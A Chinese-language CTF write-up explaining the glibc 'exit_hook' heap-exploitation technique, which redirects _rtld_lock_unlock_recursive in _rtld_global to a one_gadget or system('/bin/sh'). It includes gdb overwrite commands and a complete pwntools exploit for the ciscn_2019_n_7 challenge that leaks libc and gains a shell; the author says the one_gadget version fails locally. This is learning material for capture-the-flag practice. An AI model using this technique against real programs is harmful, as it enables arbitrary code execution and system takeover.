exit_hook

除了free_hook,malloc_hook,还有一个exit_hook可以利用。特别是在高版本没有前两个hook函数之后存在getshell的新方法。

#include<stdio.h>

void main()
{
        printf("bhxdn");
        exit(0);
}

进入exit函数之后,call了_run_exit_handlers。

image-20230912144708753

后再_run_exit_handlers中call了 _dl_fini

image-20230912144853856

在关键源码中

 1 #ifdef SHARED
 2   int do_audit = 0;
 3  again:
 4 #endif
 5   for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
 6     {
 7       /* Protect against concurrent loads and unloads.  */
 8       __rtld_lock_lock_recursive (GL(dl_load_lock));
 9 
10       unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
11       /* No need to do anything for empty namespaces or those used for
12      auditing DSOs.  */
13       if (nloaded == 0
14 #ifdef SHARED
15       || GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
16 #endif
17       )
18     __rtld_lock_unlock_recursive (GL(dl_load_lock));

call了 _rtld_lock_unlock_recursive和 __rtld_lock_lock_recursive两个函数,其实这两个函数都在 _rtld_global中存在,他会调用结构体中的函数,我们看看结构体

p _rtld_global

image-20230912145524640

image-20230912145550577

这样,我们只要将其中一个存的内容掉换成one_gadgets,这是一种getshell的方法,继续看汇编。

看下面汇编,有一个将内容存入rdi的情况,这里就是 _rtld_global._dl_load_lock.mutex.__size的地址。也就是传的参数,这样我们也可以用system(“/bin/sh”)来做。

image-20230912150415068

set *0x7ffff7ffdf60 = 0x7ffff7a31420
set *0x7ffff7ffd968 = 0x7ffff7b95d88

image-20230912151626736

ciscn_2019_n_7

程序逻辑很简单,然后主要就是练exit_hook

add函数

image-20230912223423620

edit函数image-20230912223442918

问题就在read中,两个函数中的read都会造成溢出到content,从而造成任意写漏洞,这样我们就可以先泄露出libc(输入666),然后通过libc找到rtld_global改其中_rtld_lock_unlock_recursive为one_gadget地址即可。

from LibcSearcher import *
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
elf=ELF('/home/hacker/Desktop/ciscn_2019_n_7' )
#p=remote("node4.buuoj.cn",27153)
p=process('/home/hacker/Desktop/ciscn_2019_n_7' )

one_gadget_offset = 0x4f302
p.sendafter("Your choice->",str(666))

puts_offset = 526704
p.recv()
a = p.recv(14)
puts = int(a,16)
libc = puts - puts_offset
print("libc",hex(libc))
exit_hook_offset = 6405984
exit_hook = libc + exit_hook_offset

one_gadget = libc + one_gadget_offset

p.sendafter("Your choice->",str(1))
p.sendafter("Input string Length: ",str(16))
p.sendafter("Author name:",'a'*8 + p64(exit_hook))

p.sendafter("Your choice->",str(2))
p.sendafter("New Author name:",'a'*8 + p64(exit_hook))
print("exit_hook",hex(exit_hook))
print("one_gadget",hex(one_gadget))
p.sendafter("New contents:",p64(one_gadget))
gdb.attach(p)
pause()
p.sendafter("Your choice->",str(100))

p.interactive()

这是one_gadget成功的脚本,但是其实是不行的,在本地我发现无法满足one_gadget的条件,所以还需要改成稳定的system(“/bin/sh”)